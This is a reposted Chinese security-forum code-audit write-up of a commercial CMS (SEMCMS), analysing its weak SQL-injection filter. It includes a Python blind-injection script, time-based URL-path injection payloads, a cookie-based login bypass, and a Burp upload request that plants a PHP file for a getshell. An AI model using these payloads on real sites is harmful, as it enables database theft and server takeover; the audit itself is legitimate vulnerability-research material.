安全矩阵

 找回密码
 立即注册
搜索
查看: 2808|回复: 0

某新版本商贸系统的代码审计

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-4-19 11:21:38 | 显示全部楼层 |阅读模式
本帖最后由 littlebird 于 2022-4-19 11:25 编辑

某新版本商贸系统的代码审计          转载自:某新版本商贸系统的代码审计
前言
起源于社团大佬发出的一张图片,最近没事就练一下代码审计吧。。。然后电脑坏了,借了一台win11的,凑合着用吧。
SQL注入
这个CMS的SQL注入挺多的,我就写一下前台利用吧。
第一处
我们直接看一下他写的waf
  1. <?php
  2. include_once "class.phpmailer.php";
  3. // 防sql注入

  4. if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get

  5. foreach ($GetArray as $value){ //get

  6.     verify_str($value);

  7. }

  8. function inject_check_sql($sql_str) {

  9.      return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
  10. }

  11. function verify_str($str) {

  12.    if(inject_check_sql($str)) {

  13.        exit('Sorry,You do this is wrong! (.-.)');
  14.     }

  15.     return $str;
  16. }
复制代码

逻辑比较简单,利用正则,所有通过 GET 传参得到的参数经过verify_str函数调用 inject_check_sql 函数进行参数检查过滤,如果匹配黑名单,就退出。
  • 子查询语句被禁用了
  • 不能有单引号(当SQL的变量包被单引号括起来时不能用单引号闭合)
  • 没有办法绕过空格
但是这个地方很明显黑名单过滤不严格,而且没有对POST方法进行限制,这样的话我们直接找利用POST方法传参的地方进行构造。​

  1. if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}


复制代码

但是又有test_input函数进行限制。
  1. function test_input($data) {
  2.       $data = str_replace("%", "percent", $data);
  3.       $data = trim($data);
  4.       $data = stripslashes($data);
  5.       $data = htmlspecialchars($data,ENT_QUOTES);
  6.       return $data;

  7.    }
复制代码

具体实现四个功能
  • 将%替换为percent
  • trim() 函数移除字符串两侧的空白字符或其他预定义字符,比如/t(制表符),/n(换行),/xb(垂直制表符),/r(回车),(空格)。功能除去字符串开头和末尾的空格或其他字符。函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。如果任何参数的值为NULL,Trim() 函数返回NULL
  • stripslashes()删除反斜杠(不能使用反斜杠转义SQL语句中的单引号或双引号)
  • html转义
明确了这些,剩下的就比较简单了,在任意包含web_inc.php的页面在languageID处构造sql注入语句,以POST方式进行传参,就可以实现。
ascii substr等函数以及大于号小于号并没有被过滤,我们可以盲注测试一下(构建CMS的时候已经知悉数据库名字了,我们直接从相对应ascii进行测试)
ID = 10 and ascii(substr((database()),1,1))>110
或者是
languageID = 2 and ascii(substr(database(),1,1))^109

附一份脚本:

  1. import requests

  2. url = "http://localhost"
  3. database=""

  4. for i in range(1,6):
  5.     for j in range(97,127):
  6.         payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)

  7.         data = {"languageID":payload}
  8.         #print(payload)
  9.         c=requests.post(url=url,data=data).text
  10.         if "Empty!" in c:
  11.             database+=chr(j)
  12. print(database)
复制代码

第二处$web_urls=$_SERVER["REQUEST_URI"];  //获取 url 路径
$web_urls=explode("/", $web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn);  // 大写的问号。
跟进web_language_ml方法:

  1. function web_language_ml($web_urls1,$web_urls2,$db_conn){

  2.   $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");

  3.       if (mysqli_num_rows($query)>0){

  4.           $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");
  5.           $row=mysqli_fetch_assoc($query);
  6.           $Urlink=array('url_link'=>$row['language_url'],'url_ml'=>"../",'ID'=>$row['ID']);

  7.       }else{

  8.          $query=$db_conn->query("select * from sc_language where language_mulu=1 and  language_open=1");
  9.          $row=mysqli_fetch_assoc($query);
  10.          $Urlink=array('url_link'=>"",'url_ml'=>"./",'ID'=>$row['ID']);

  11.       }

  12.     return $Urlink;
  13. }
复制代码


可以看到$web_urls会被放入数据库语句执行,由于$web_urls获取没有经过过滤函数,所以可以确定存在SQL注入。
但是某些特殊字符在GET传参时,被url编码了,比如双引号,大于号小于号,不过这个地方单引号没有被过滤,可以闭合;而且空格也会被处理,%0a%ob也会被认为字符串,/**/的方法也不行。
我们可以尝试这样构造:

  1. /index.php/'or(sleep(3))or'
复制代码



完整SQL语句:

  1. /index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#
复制代码


SQL注入绕过登录

  1. <div><font style="font-size: 15px">function checkuser($db_conn){ //判断用户是否登陆</font></div><font style="font-size: 15px">
  2.     $cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
  3.     $cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));

  4.     $query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");

  5.     if (mysqli_num_rows($query)>0){

  6.          $row=mysqli_fetch_assoc($query);
  7.          return $row['user_qx'];

  8.      }else{

  9.         echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";
  10.         exit;
  11.     }

  12. }</font>
复制代码


获取Cookie中的用户名密码构成sql语句,以单引号格式进行拼接,我们可以恶意构造
select * from sc_user where user_admin='111\' and user_ps='or 1#'
此时,原语句中的SQL单引号被转义,同时编辑cookiescuseradmin和scuserpass的值
后台文件上传+Getshell
制作一份php内容的图片


​​
在后台管理页面添加此照片



BurpSuite拦截进行修改

  1. POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
  2. Host: localhost
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------3369516516527364944820946580
  8. Content-Length: 830
  9. Origin: http://localhost
  10. Connection: close
  11. Referer: http://localhost/SEMCMS3.9/OSWttq_Admin/SEMCMS_Upload.php?Imageurl=../Images/prdoucts/&filed=images_url&filedname=forms
  12. Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
  13. Upgrade-Insecure-Requests: 1
  14. Sec-Fetch-Dest: document
  15. Sec-Fetch-Mode: navigate
  16. Sec-Fetch-Site: same-origin
  17. Sec-Fetch-User: ?1

  18. -----------------------------3369516516527364944820946580
  19. Content-Disposition: form-data; name="wname"

  20. 111
  21. -----------------------------3369516516527364944820946580
  22. Content-Disposition: form-data; name="file"; filename="test.jpg"
  23. Content-Type: image/jpeg

  24. <?php phpinfo();?>
  25. -----------------------------3369516516527364944820946580
  26. Content-Disposition: form-data; name="imageurl"

  27. ../Images/prdoucts/
  28. -----------------------------3369516516527364944820946580
  29. Content-Disposition: form-data; name="filed"

  30. images_url
  31. -----------------------------3369516516527364944820946580
  32. Content-Disposition: form-data; name="filedname"

  33. forms
  34. -----------------------------3369516516527364944820946580
  35. Content-Disposition: form-data; name="submit"

  36. Submit
  37. -----------------------------3369516516527364944820946580--
复制代码

在我们重命名的时候修改重命名文件为111.jpg.php:进行保存,这是我们看后台保存图片已经写入,但是没有数据。
第二次提交,提交同样的图片,这一次我们修改上传文件名为test.jpg<<<
接着访问,成功实现

​​
首先是为什么能成功解析成php文件?
  1. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">if (test_input($_POST["wname"])!==""){//自定义文件名</span>

  2. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">        $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名</span>
复制代码

我觉得这个地方能够上传成功与文件名命名格式有关,众所周知,英文状态下冒号是不允许存在的,应该是这个地方产生了截断,导致后面的.jpg没有被拼接上。
但是我不太明白一个地方就是怎么将php写入的,于是全局搜索file_put_contents,只有3处使用,相对比较可疑的是:
  1. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){</span>


  2. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">       if ($htmlopen==1){$ml="j";}else{$ml="d";}</span>

  3. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">        $template="index.php,hta/".$ml."/.htaccess"; //开始应用模版</span>
  4. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">        $template_mb=explode(",",$template);//以,分割为数组</span>

  5. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">        for($i=0;$i<count($template_mb);$i++){</span>

  6. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">              $template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);</span>

  7. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">              $templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);</span>
  8. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">              $output = str_replace('<{Template}>', $mb, $template_o);</span>
  9. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">              $output = str_replace('<{dirpaths}>', $dirpaths, $output);</span>

  10. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">          file_put_contents($templateUrl, $output);</span>

  11. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">           }</span>

  12. <span style="box-sizing: border-box;color: rgb(0, 0, 0);">}</span>
复制代码

这个地方的$mb是可控的
​​
这里file_get_contents() 和 str_replace() 就是从模板目录下提取index.php和.htaccess文件然后替换<{Template}>写入到主目录下
理论上这个地方也可以Getshell,但这个地方我还是不太明白到底test.jpg<<<是如何写入的,希望有大佬能教教我~

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 12:43 , Processed in 0.014478 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表